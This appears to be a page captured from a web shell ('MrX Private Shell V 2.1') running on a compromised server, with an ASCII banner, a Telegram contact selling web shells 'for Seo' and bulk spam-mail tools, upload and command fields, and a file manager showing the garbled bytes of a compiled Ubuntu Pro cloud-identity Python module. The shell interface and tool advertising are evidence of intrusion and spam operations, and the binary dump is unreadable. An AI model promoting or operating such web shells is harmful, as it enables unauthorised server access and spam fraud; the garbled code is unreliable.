__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�����SSKrSSKJr SSKJr SSKJrJrJrJ	r	 SSK
JrJrJ
r
JrJr SSKJr \R$"\R&"\55rSSS	S
SS.r\
R.R0\
R.R2\
R.R4S
.r"SS\5rS\\4Sjr\"SS9\"S5S\\\\\44Sj55rSS\\S\R@4Sjjr!g)�N)�Enum)�	lru_cache)�Dict�Optional�Tuple�Type)�clouds�
exceptions�messages�system�util)�apply_config_settings_override�AWSz	AWS ChinazAWS Gov�Azure�GCP)�aws�	aws-china�aws-gov�azure�gce)rrrc��\rSrSrSrSrSrg)�NoCloudTypeReason�r��N)�__name__�
__module__�__qualname__�__firstlineno__�NO_CLOUD_DETECTED�CLOUD_ID_ERROR�__static_attributes__r��:/usr/lib/python3/dist-packages/uaclient/clouds/identity.pyrrs
�����Nr#r�returnc��[R"/SQ5upUR5$![Ra Of=f[
R
S5 g)z%Query cloud instance-id from cmdline.)z
cloud-init�query�instance_idz'Unable to determine current instance-idN)r�subp�stripr
�ProcessExecutionError�LOG�warning)�out�_errs  r$�get_instance_idr0sL��
��K�K� F�G�	���y�y�{����+�+�
��
���K�K�9�:�s�),�A�A)�maxsize�
cloud_typec�X�[R"S5(a,[R"S/5upUR5S4$S[R4$![R
a;n[RS[U55 S[R4sSnA$SnAff=f)Nzcloud-idzerror running cloud-id: %s)r�whichr)r*r
r+r,�debug�strrr!r )r.r/�excs   r$�get_cloud_typer8+s����|�|�J���	<����Z�L�1�I�C��I�I�K��&�&�

�#�5�5�6�6��	�/�/�	<��I�I�2�C��H�=��+�:�:�;�;��	<�s�*A�B)�.0B$�B)�$B)�cloud_overridec��SSKJnJnJnJn UR
UR
UR
URURURS.nUbUnO[5upgU(d[R"5eURU5nU(d[R"US9eU"5n	U	R(d[R"5eU	$)a�
:raises CloudFactoryError: if no cloud instance object can be constructed
:raises CloudFactoryNoCloudError: if no cloud instance object can be
    constructed because we are not on a cloud
:raises CloudFactoryUnsupportedCloudError: if no cloud instance object can
    be constructed because we don't have a class for the cloud we're on
:raises CloudFactoryNonViableCloudError: if no cloud instance object can be
    constructed because we explicitly do not support the cloud we're on
r)rr�gcp�lxd)rrrrrr<)r2)�uaclient.cloudsrrr;r<�AWSAutoAttachInstance�AzureAutoAttachInstance�GCPAutoAttachInstance�LXDAutoAttachInstancer8r
�CloudFactoryNoCloudError�get�NonAutoAttachImageError�	is_viable�CloudFactoryNonViableCloudError)
r9rrr;r<�cloud_instance_mapr2�_�cls�instances
          r$�cloud_instance_factoryrK:s���5�4��(�(��.�.��,�,��.�.��(�(��(�(�
���!�#�
�&�(�
�
���1�1�3�3�
�
 �
 ��
,�C���0�0�J�G�G��u�H�����8�8�:�:��Or#)N)"�logging�enumr�	functoolsr�typingrrrr�uaclientr	r
rrr
�uaclient.configr�	getLogger�replace_top_level_logger_namerr,�CLOUD_TYPE_TO_TITLE�urls�PRO_ON_AWS_HOME_PAGE�PRO_ON_AZURE_HOME_PAGE�PRO_ON_GCP_HOME_PAGE�PRO_CLOUD_URLSrr6r0r8�AutoAttachInstancerKrr#r$�<module>r[s�����.�.�?�?�:�
����:�:�8�D�E�����
�����=�=�-�-�
�]�]�
1�
1��=�=�-�-������
	��#��	��4����-�
7��h�s�m�X�6G�-H�H�I�
7�.��
7�%)�$��S�M�$����$r#

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 3.21 KB 0644
aws.cpython-313.pyc File 7.89 KB 0644
azure.cpython-313.pyc File 4.42 KB 0644
gcp.cpython-313.pyc File 6.52 KB 0644
identity.cpython-313.pyc File 4.49 KB 0644
lxd.cpython-313.pyc File 3.64 KB 0644
Filemanager